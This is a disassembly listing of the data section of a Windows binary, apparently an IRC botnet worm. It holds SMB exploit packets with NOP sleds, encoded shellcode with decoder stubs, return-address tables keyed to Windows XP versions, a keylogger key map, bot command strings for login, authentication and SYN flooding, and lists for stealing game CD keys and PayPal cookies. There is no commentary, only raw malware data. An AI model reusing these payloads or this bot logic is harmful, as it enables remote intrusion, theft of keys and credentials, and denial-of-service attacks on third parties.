dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_440B08 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:00410803o
dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0
dword_440B3C dd 3F3F0000h, 3F3F3Fh, 0 ; DATA XREF: .text:00410868o
dword_440B48 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:004108E4o
dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0
dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h
dd 2 dup(0)
dword_440BB8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:00410923o
dd 4780800h, 500800h, 48000010h, 0
dd 10h, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h
dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
dd 0
dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_440C60 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:00410976o
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh
dd 4 dup(90909090h), 0
dword_440D94 dd 7E0h, 4, 3 dup(0) ; DATA XREF: .text:004109B3o
dword_440DA8 dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h
; DATA XREF: .text:004109A0o
dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh
dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h
dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h
dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah
dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h
dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h
dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h
dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah
dd 0E7FBA65Ah
db 7Fh, 9Dh
word_440E62 dw 551Ah ; DATA XREF: .text:00410994w
dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh
dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h
dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h
dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 2 dup(0)
dword_440F08 dd 401150FFh, 0 ; DATA XREF: sub_410A35+17o
dword_440F10 dd 142FFA1h, 0 ; DATA XREF: sub_410A35+28o
dword_440F18 dd 401138FFh, 0 ; DATA XREF: sub_410A35+3Eo
dword_440F20 dd 14308B9h, 0 ; DATA XREF: sub_410A35+4Fo
dword_440F28 dd 320002h, 90909090h, 0ECC1F631h, 0CE4C10Ch, 0FB89E789h
; DATA XREF: sub_410A35+F0o
dd 748B016Ah, 0D231FE24h, 0E2C14252h, 56575210h
db 0B8h
byte_440F4D db 3 dup(0) ; DATA XREF: sub_410A35+1Co
; sub_410A35+43o
dd 8E8C100h, 0C08510FFh, 0DC890779h, 75F6854Eh, 90E7FFE1h
dd 3 dup(90909090h)
aRrrrrrrrrrrrrr db '',0
; DATA XREF: sub_410A35:loc_410A89o
a1_1_1_1_1_1 db '1.1.1.1.1.1',0
aIa db 'ë€',0
align 10h
byte_440FB0 db 0EBh ; DATA XREF: sub_410BF8+C8r
db 2, 0EBh, 5
dd 0FFFFF9E8h, 0C08358FFh, 1A08D1Bh, 83FFFFFCh, 0EC8BFCE4h
dd 0B966C933h, 3080020Ch, 0FAE24080h, 80BF6810h, 0CE0E8080h
dd 7EF26C8Eh, 39039633h, 4752F835h, 151CE827h, 0EA21EE9Ah
dd 475358BDh, 0BF086827h, 0F3F71ECAh, 0B2B3DFB2h, 7C6D4B80h
dd 758959BBh, 0F09A242Dh, 0AE2D2447h, 6C96569h, 0E4EDE3C9h
dd 0E4D2DA80h, 80B021E7h, 0B8CC00Bh, 0B2D9CF0h, 720B88D8h
dd 6F017E0Bh, 80808180h, 883149B3h, 80811068h, 7FD6D280h
dd 0BDA60D7h, 87460358h, 853149B3h, 8081FC68h, 80036880h
dd 1E68080h, 0D481106Ch, 808181E8h, 6CD77F80h, 40B36C0Bh
dd 0D0D0D0D0h, 0D0C0D0C0h, 0B70D77Fh, 0C547E658h, 0E6808280h
db 47h, 0C5h, 82h
word_44107F dw 0D080h ; DATA XREF: sub_410BF8+58w
db 47h, 0C5h, 84h
dd 80808080h, 0D3D590EAh, 574D77Fh, 0C062F540h, 0D77FD3D0h
dd 0D3D0D078h, 0B7CD77Fh, 0B340B358h, 0D7913149h, 2B737D0Bh
dd 80C546DFh, 0BCDD09C4h, 9B8DD09h, 47E6C0DDh, 8181ACC5h
dd 0D0C4C50Dh, 0D1D1D1D5h, 0D1C9D1C1h, 7FD1D6D1h, 40B350D7h
dd 0D77FD0C8h, 0B340B354h, 0D7913149h, 2B737D0Bh, 0C4CD0DDFh
dd 0D0D0D5D1h, 80EA84EAh, 0D0D6D0D0h, 150D77Fh, 8084806Ch
dd 8087E880h, 7FD48081h, 0D77FC8F5h, 0E8C0EA58h, 80809080h
dd 80D080E8h, 7F80EA80h, 0D77FC4F5h, 1580B5Ch, 80818043h
dd 0A41C0980h, 80808038h, 34A41C09h, 0B808080h, 8484A40Ch
dd 0C1478080h, 1010107Bh, 7FC14610h, 2690110h, 0EA808081h
dd 9080E880h, 0D0D18080h, 7FC4F57Fh, 7FD460D7h, 0D77FC8F5h
dd 0C8F57F64h, 0B368D77Fh, 7FD0C840h, 0D5D354D7h, 0EC0BD7D6h
dd 0C50B98A4h, 85D40BBCh, 0B5583F8h, 0DA0B98CAh, 635D83A0h
dd 0B40BC9B9h, 0B375830Bh, 40B37C7Fh, 0F444BA2Ch, 1010108Bh
dd 8D4F4110h, 6E6B7883h, 94A4FCBBh, 0DA0B5DF5h, 0E65D83A4h
dd 0BCB8C0Bh, 5D839CDAh, 830B840Bh, 10856B45h, 40B31010h
dd 0DEDF550Bh, 8442DBDDh, 7FD3D180h, 7F1868B6h, 2D2B7F7Fh
dd 7162D9DBh, 43h
dword_4411E0 dd 4Fh, 4Eh, 41h, 42h, 41h, 43h, 41h, 0C1h, 41h, 0C3h
; DATA XREF: .text:00410DA9o
dd 41h, 0C9h, 41h, 0CAh, 41h, 0CBh, 41h, 0CCh, 41h, 0CDh
dd 41h, 0CEh, 41h, 0CFh
dword_441240 dd 41h, 0D0h ; DATA XREF: .text:00410DD5o
aFb db 'fìÐ',7,0 ; DATA XREF: sub_410F37+97o
align 10h
dword_441250 dd 129F74h, 0 ; DATA XREF: sub_410F37+2FDo
dword_441258 dd 127D78h, 0 ; DATA XREF: sub_410F37+35Do
dword_441260 dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 3D137381h, 836F5088h
; DATA XREF: sub_410F37+C4o
dd 0F4E2FCEBh, 22BBE2C1h, 90AF71D5h, 3DBE8C2h, 2ADBAC19h
dd 6A2C0301h, 0E4BF8945h, 30DB9072h, 26BB891Dh, 6EDBBCB6h
dd 0F690B9D3h, 1B900C91h, 629A493Ah, 9BBB4A3Ch, 4774DC06h
dd 30DB6D48h, 9BB8919h, 0E41B84B6h, 84519462h, 0E6DBA43Eh
dd 0E4CAC51h, 0B8BB9FEh, 0E460CBB6h, 1FDB847Dh, 2FDB2521h
dd 0E138D635h, 3FBC8673h, 3C365EC2h, 5D63E05Bh, 5D23FF55h
dd 0BFAFDC62h, 93BD4355h, 0B9AFD806h, 9B50162h, 6D5865BCh
dd 9052E268h, 6689E0EDh, 900725C8h, 3C03DBEBh, 3C13DB6Eh
dd 0BFAFDB7Eh, 0A857E05Bh, 8ED9DB5Bh, 75F4E0A8h, 90074F4Dh
dd 3E40E2EBh, 7807768h, 867E2599h, 3C86776Ah, 7807768h
dd 26D6C1D8h, 3F86776Ah, 9005DC69h, 88381BEDh, 38294E44h
dd 90055EC2h, 0B3AEEEDh, 233E05Bh, 3F3A6DB4h, 0E69CA164h
dd 0E614E2DAh, 9C90B9DFh, 42127697h, 0FC7CCAC3h, 0C468F2B0h
dd 1D382396h, 90463BC3h, 0B9AFCC48h, 3E02DF66h, 6E3AD96Ch
dd 3E05D96Ch, 0C23858C2h, 3C9E8DE4h, 903A5EC2h, 0BFAFBFC2h
dd 0ECACDFB6h, 0B9AFECF9h, 780776Fh, 305402CDh, 9086776Eh
dd 6F5088EDh, 2 dup(0)
dword_4413C0 dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h
; DATA XREF: sub_410F37+AAo
dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h
dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h
dd 61D5E0h, 433F0Ch
dword_441404 dd 77BD3143h ; DATA XREF: sub_410F37+82r
dword_441408 dd 7FCh ; DATA XREF: sub_410F37+7Cr
byte_44140C db 1 ; DATA XREF: sub_410F37+29Cr
; sub_410F37+2C3r ...
align 10h
dd offset aWindowsXpSp01E ; "Windows XP SP0+1 ENG"
dd 77C03143h, 7FCh, 1, 433EE0h, 77BD1F89h, 7FCh, 1, 433ECCh
dd 77BD1FA8h, 7FCh, 1, 433EB8h, 77BD1FD6h, 7FCh, 1, 433EA4h
dd 77BD2195h, 7FCh, 1, 433E90h, 77BD21B3h, 7FCh, 1, 433E7Ch
dd 77BD21E0h, 7FCh, 1, 433E68h, 77BD220Ch, 7FCh, 1, 433E54h
dd 77BD2241h, 7FCh, 1, 433E40h, 77BD22D2h, 7FCh, 1, 433E2Ch
dd 77BD28B2h, 7FCh, 1, 433E18h, 77BD29ABh, 7FCh, 1, 433E04h
dd 77BD29E7h, 7FCh, 1, 433DF0h, 77BD29F7h, 7FCh, 1, 433DDCh
dd 77BD2A03h, 7FCh, 1, 433DC8h, 77BD2D6Dh, 7FCh, 1, 433DB4h
dd 77BD2DB3h, 7FCh, 1, 433DA0h, 77BD2EC2h, 7FCh, 1, 433D8Ch
dd 77BD2EDDh, 7FCh, 1, 433D78h, 77BD30AFh, 7FCh, 1, 433D64h
dd 77BD312Bh, 7FCh, 1, 433D50h, 77BD3160h, 7FCh, 1, 433D3Ch
dd 77BD349Ah, 7FCh, 1, 433D28h, 77BD34E4h, 7FCh, 1, 433D0Ch
dd 655B4F02h, 7E7h, 0
dd offset aWindowsUkXp_23 ; "Windows uk xp pro sp1 1"
dd 77C01F89h, 7FCh, 1, 433CDCh, 77C01FA8h, 7FCh, 1, 433CC4h
dd 77C01FD6h, 7FCh, 1, 433CACh, 77C02195h, 7FCh, 1, 433C94h
dd 77C021B3h, 7FCh, 1, 433C7Ch, 77C021E0h, 7FCh, 1, 433C64h
dd 77C0220Ch, 7FCh, 1, 433C4Ch, 77C02241h, 7FCh, 1, 433C34h
dd 77C022D2h, 7FCh, 1, 433C18h, 77C028B2h, 7FCh, 1, 433BFCh
dd 77C029ABh, 7FCh, 1, 433BE0h, 77C029E7h, 7FCh, 1, 433BC4h
dd 77C029F7h, 7FCh, 1, 433BA8h, 77C02A03h, 7FCh, 1, 433B8Ch
dd 77C02A39h, 7FCh, 1, 433B70h, 77C02D6Dh, 7FCh, 1, 433B54h
dd 77C02DB3h, 7FCh, 1, 433B38h, 77C02EC2h, 7FCh, 1, 433B1Ch
dd 77C02EDDh, 7FCh, 1, 433B00h, 77C030AFh, 7FCh, 1, 433AE4h
dd 77C0312Bh, 7FCh, 1, 433AC8h, 77C03143h, 7FCh, 1, 433AACh
dd 77C03160h, 7FCh, 1, 433A90h, 77C0349Ah, 7FCh, 1, 433A74h
dd 77C034E4h, 7FCh, 1, 433A5Ch, 77B920FDh, 7FCh, 1, 433A44h
dd 77B9211Ch, 7FCh, 1, 433A2Ch, 77B9214Ah, 7FCh, 1, 433A14h
dd 77B9230Ch, 7FCh, 1, 4339FCh, 77B9232Ah, 7FCh, 1, 4339E4h
dd 77B92357h, 7FCh, 1, 4339CCh, 77B92383h, 7FCh, 1, 4339B4h
dd 77B923B8h, 7FCh, 1, 43399Ch, 77B92448h, 7FCh, 1, 433980h
dd 77B92AAAh, 7FCh, 1, 433964h, 77B92BA7h, 7FCh, 1, 433948h
dd 77B92BE3h, 7FCh, 1, 43392Ch, 77B92BF3h, 7FCh, 1, 433910h
dd 77B92BFFh, 7FCh, 1, 4338F4h, 77B92F78h, 7FCh, 1, 4338D8h
dd 77B92FBEh, 7FCh, 1, 4338BCh, 77B930EFh, 7FCh, 1, 4338A0h
dd 77B9310Dh, 7FCh, 1, 433884h, 77B9330Ch, 7FCh, 1, 433868h
dd 77B93388h, 7FCh, 1, 43384Ch, 77B9339Eh, 7FCh, 1, 433830h
dd 77B933BAh, 7FCh, 1, 433814h, 77B9373Dh, 7FCh, 1, 4337F8h
dd 77B9378Ah, 7FCh, 1, 4337E0h, 77B920FDh, 7FCh, 1, 4337C8h
dd 77B9211Ch, 7FCh, 1, 4337B0h, 77B9214Ah, 7FCh, 1, 433798h
dd 77B9230Ch, 7FCh, 1, 433780h, 77B9232Ah, 7FCh, 1, 433768h
dd 77B92357h, 7FCh, 1, 433750h, 77B92383h, 7FCh, 1, 433738h
dd 77B923B8h, 7FCh, 1, 433720h, 77B92448h, 7FCh, 1, 433704h
dd 77B92AAAh, 7FCh, 1, 4336E8h, 77B92BA7h, 7FCh, 1, 4336CCh
dd 77B92BE3h, 7FCh, 1, 4336B0h, 77B92BF3h, 7FCh, 1, 433694h
dd 77B92BFFh, 7FCh, 1, 433678h, 77B92F78h, 7FCh, 1, 43365Ch
dd 77B92FBEh, 7FCh, 1, 433640h, 77B930EFh, 7FCh, 1, 433624h
dd 77B9310Dh, 7FCh, 1, 433608h, 77B9330Ch, 7FCh, 1, 4335ECh
dd 77B93388h, 7FCh, 1, 4335D0h, 77B9339Eh, 7FCh, 1, 4335B4h
dd 77B933BAh, 7FCh, 1, 433598h, 77B9373Dh, 7FCh, 1, 43357Ch
dd 77B9378Ah, 7FCh, 1, 433570h, 41414141h, 7FCh, 1, 433558h
dd 77E14C29h, 7FCh, 1, 433540h, 77E3CB4Ch, 7FCh, 1, 433528h
dd 77E42C75h, 7FCh, 1, 433510h, 77E3C256h, 7FCh, 1, 4334F8h
dd 77E2AFC5h, 7FCh, 1, 4334E0h, 77E2492Bh, 7FCh, 1, 4334C8h
dd 77E4FF15h, 7FCh, 1, 4334B0h, 77E33F4Dh, 7FCh, 1, 8
dword_441AC4 dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_414BFB:loc_414CDAo
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_4421F4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_414BFB+2A6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 3 dup(0)
off_442230 dd offset dword_4352D0 ; DATA XREF: sub_414ECA+1F7r
dd offset off_4352CC
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
; char a_login[]
a_login db ':.login',0 ; DATA XREF: sub_414ECA+1A3o
dd 3 dup(0)
dword_442254 dd 0 ; DATA XREF: sub_414ECA+1F0r
aLogin_2 db ':,login',0
dd 4 dup(0)
aLogin_3 db ':!login',0
dd 4 dup(0)
a@login db ':@login',0
dd 4 dup(0)
aLogin_4 db ':$login',0
dd 4 dup(0)
aLogin_5 db ':%login',0
dd 4 dup(0)
aLogin_6 db ':^login',0
dd 4 dup(0)
aLogin_7 db ':&login',0
dd 4 dup(0)
aLogin_8 db ':*login',0
dd 4 dup(0)
aLogin_9 db ':-login',0
dd 4 dup(0)
aLogin_10 db ':+login',0
dd 4 dup(0)
aLogin_11 db ':/login',0
dd 4 dup(0)
aLogin_12 db ':\login',0
dd 4 dup(0)
aLogin_13 db ':=login',0
dd 4 dup(0)
a?login db ':?login',0
dd 4 dup(0)
aLogin_14 db ':',27h,'login',0
dd 4 dup(0)
aLogin_15 db ':`login',0
dd 4 dup(0)
aLogin_16 db ':~login',0
dd 4 dup(0)
aLogin_17 db ': login',0
dd 4 dup(0)
a_auth db ':.auth',0
align 10h
dd 4 dup(0)
aAuth db ':,auth',0
align 4
dd 4 dup(0)
aAuth_0 db ':!auth',0
align 10h
dd 4 dup(0)
a@auth db ':@auth',0
align 4
dd 4 dup(0)
aAuth_1 db ':$auth',0
align 10h
dd 4 dup(0)
aAuth_2 db ':%auth',0
align 4
dd 4 dup(0)
aAuth_3 db ':^auth',0
align 10h
dd 4 dup(0)
aAuth_4 db ':&auth',0
align 4
dd 4 dup(0)
aAuth_5 db ':*auth',0
align 10h
dd 4 dup(0)
aAuth_6 db ':-auth',0
align 4
dd 4 dup(0)
aAuth_7 db ':+auth',0
align 10h
dd 4 dup(0)
aAuth_8 db ':/auth',0
align 4
dd 4 dup(0)
aAuth_9 db ':\auth',0
align 10h
dd 4 dup(0)
aAuth_10 db ':=auth',0
align 4
dd 4 dup(0)
a?auth db ':?auth',0
align 10h
dd 4 dup(0)
aAuth_11 db ':',27h,'auth',0
align 4
dd 4 dup(0)
aAuth_12 db ':`auth',0
align 10h
dd 4 dup(0)
aAuth_13 db ':~auth',0
align 4
dd 4 dup(0)
aAuth_14 db ': auth',0
align 10h
dd 4 dup(0)
a_id db ':.id',0
align 4
dd 4 dup(0)
aId_0 db ':,id',0
align 10h
dd 4 dup(0)
aId_1 db ':!id',0
align 4
dd 4 dup(0)
a@id db ':@id',0
align 10h
dd 4 dup(0)
aId_2 db ':$id',0
align 4
dd 4 dup(0)
aId_3 db ':%id',0
align 10h
dd 4 dup(0)
aId_4 db ':^id',0
align 4
dd 4 dup(0)
aId_5 db ':&id',0
align 10h
dd 4 dup(0)
aId_6 db ':*id',0
align 4
dd 4 dup(0)
aId_7 db ':-id',0
align 10h
dd 4 dup(0)
aId_8 db ':+id',0
align 4
dd 4 dup(0)
aId_9 db ':/id',0
align 10h
dd 4 dup(0)
aId_10 db ':\id',0
align 4
dd 4 dup(0)
aId_11 db ':=id',0
align 10h
dd 4 dup(0)
a?id db ':?id',0
align 4
dd 4 dup(0)
aId_12 db ':',27h,'id',0
align 10h
dd 4 dup(0)
aId_13 db ':`id',0
align 4
dd 4 dup(0)
aId_14 db ':~id',0
align 10h
dd 4 dup(0)
aId_15 db ': id',0
align 4
dd 4 dup(0)
a_hashin_0 db ':.hashin',0
align 10h
aHashin_0 db ':!hashin',0
align 4
dd 3 dup(0)
aHashin_1 db ':$hashin',0
align 10h
aHashin_2 db ':%hashin',0
align 4
dd 3 dup(0)
a_secure db ':.secure',0
align 10h
aSecure_1 db ':!secure',0
align 4
dd 3 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
a_syn db ':.syn',0
align 10h
dd 4 dup(0)
aSyn_0 db ':!syn',0
align 4
dd 4 dup(0)
aSyn_1 db ':$syn',0
align 10h
dd 4 dup(0)
aSyn_2 db ':%syn',0
align 4
dd 4 dup(0)
aCdkey_0 db ' CDKey ',0
dd 4 dup(0)
aJoin_1 db 'JOIN #',0
align 4
dd 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
dd 80000001h
off_442A9C dd offset aSoftwareValveC ; DATA XREF: sub_4185EA+Cr
; sub_4185EA+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_442AA8 dd 2 dup(0) ; DATA XREF: sub_4185EA+26o
dd 80000001h, 436B20h, 436B14h, 436B04h, 2 dup(0)
dd 80000001h, 436AE4h, 436AE0h, 436ACCh, 2 dup(0)
dd 80000001h, 436AA8h, 436AE0h, 436A9Ch, 2 dup(0)
dd 80000001h, 436A78h, 436A70h, 436A5Ch, 2 dup(0)
dd 80000001h, 436A48h, 436A38h, 436A1Ch, 2 dup(0)
dd 80000001h, 4369D8h, 436B60h, 4369C4h, 2 dup(0)
dd 80000002h, 436998h, 43698Ch, 43696Ch, 2 dup(0)
dd 80000002h, 436938h, 436B60h, 436920h, 2 dup(0)
dd 80000002h, 4368ECh, 436B60h, 4368D4h, 2 dup(0)
dd 80000002h, 4368BCh, 436B60h, 4368A4h, 2 dup(0)
dd 80000002h, 436868h, 42B633h, 436858h, 2 dup(0)
dd 80000002h, 436820h, 42B633h, 43680Ch, 2 dup(0)
dd 80000002h, 4367C0h, 42B633h, 4367A0h, 2 dup(0)
dd 80000002h, 436750h, 42B633h, 436720h, 2 dup(0)
dd 80000002h, 4366E4h, 42B633h, 4366D0h, 2 dup(0)
dd 80000002h, 436698h, 42B633h, 436688h, 2 dup(0)
dd 80000002h, 436638h, 42B633h, 436608h, 2 dup(0)
dd 80000002h, 4365C8h, 42B633h, 4365A8h, 2 dup(0)
dd 80000002h, 436578h, 42B633h, 436558h, 2 dup(0)
dd 80000002h, 43651Ch, 42B633h, 436508h, 2 dup(0)
dd 80000002h, 4364C0h, 42B633h, 43649Ch, 2 dup(0)
dd 80000002h, 436448h, 42B633h, 436418h, 2 dup(0)
dd 80000002h, 4363C8h, 42B633h, 43639Ch, 2 dup(0)
dd 80000002h, 43635Ch, 436354h, 436334h, 2 dup(0)
dd 80000002h, 4362F0h, 42B633h, 4362D4h, 2 dup(0)
dd 80000002h, 436288h, 42B633h, 436264h, 2 dup(0)
